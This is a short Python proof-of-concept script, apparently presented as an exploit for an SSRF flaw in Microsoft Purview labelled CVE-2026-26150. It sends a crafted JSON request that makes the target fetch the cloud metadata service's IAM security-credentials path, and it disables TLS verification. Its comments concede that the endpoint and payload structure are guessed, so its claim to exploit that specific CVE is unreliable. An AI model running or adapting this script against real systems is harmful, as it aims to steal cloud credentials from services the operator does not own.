The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-26150 (Microsoft Purview SSRF)
# This script demonstrates how to trigger the SSRF vulnerability.
import requests
import sys
def exploit_ssrf(target_url, internal_url):
"""
Sends a malicious request to the target to force it to access the internal_url.
"""
headers = {
"Content-Type": "application/json",
"User-Agent": "CVE-2026-26150-Scanner"
}
# Payload structure depends on the actual vulnerable API endpoint
# Assuming a JSON structure based on common SSRF scenarios
payload = {
"target": internal_url,
"options": {}
}
try:
print(f"[*] Attempting to send SSRF request to {target_url}...")
response = requests.post(target_url, json=payload, headers=headers, timeout=10, verify=False)
if response.status_code == 200:
print(f"[+] Request successful! Response length: {len(response.text)}")
print(f"[+] Response content (first 200 bytes): {response.text[:200]}")
else:
print(f"[-] Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
# Example usage
# Replace with actual target endpoint
TARGET = "https://<purview-domain>/api/v1/scan"
# Common internal metadata service to test for SSRF
INTERNAL_PAYLOAD = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
exploit_ssrf(TARGET, INTERNAL_PAYLOAD)